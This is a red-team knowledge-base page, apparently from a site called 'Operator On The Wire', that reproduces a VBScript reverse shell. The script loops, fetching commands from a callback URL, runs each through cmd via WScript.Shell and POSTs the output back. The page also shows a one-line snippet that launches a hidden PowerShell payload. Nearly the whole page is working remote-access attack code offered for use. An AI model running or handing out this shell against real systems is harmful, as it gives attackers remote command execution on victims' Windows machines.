Operator On The Wire
Join
← Back to Knowledge Base
RED TEAM / SHELLS / PAYLOADS

VBS

cym13/vbs-reverse-shell: VBS reverse shell scripts

Option Explicit
On Error Resume Next

CONST callbackUrl = "http://localhost:80/"

Dim xmlHttpReq, shell, execObj, command, break, result

Set shell = CreateObject("WScript.Shell")

break = False
While break <> True
    Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
    xmlHttpReq.Open "GET", callbackUrl, false
    xmlHttpReq.Send

    command = "cmd /c " & Trim(xmlHttpReq.responseText)

    If InStr(command, "EXIT") Then
        break = True
    Else
        Set execObj = shell.Exec(command)

        result = ""
        Do Until execObj.StdOut.AtEndOfStream
            result = result & execObj.StdOut.ReadAll()
        Loop

        Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
        xmlHttpReq.Open "POST", callbackUrl, false
        xmlHttpReq.Send(result)
    End If
Wend

Embedded Powershell

CreateObject("WScript.Shell").Run "PAYLOAD_GOES_HERE", 0, True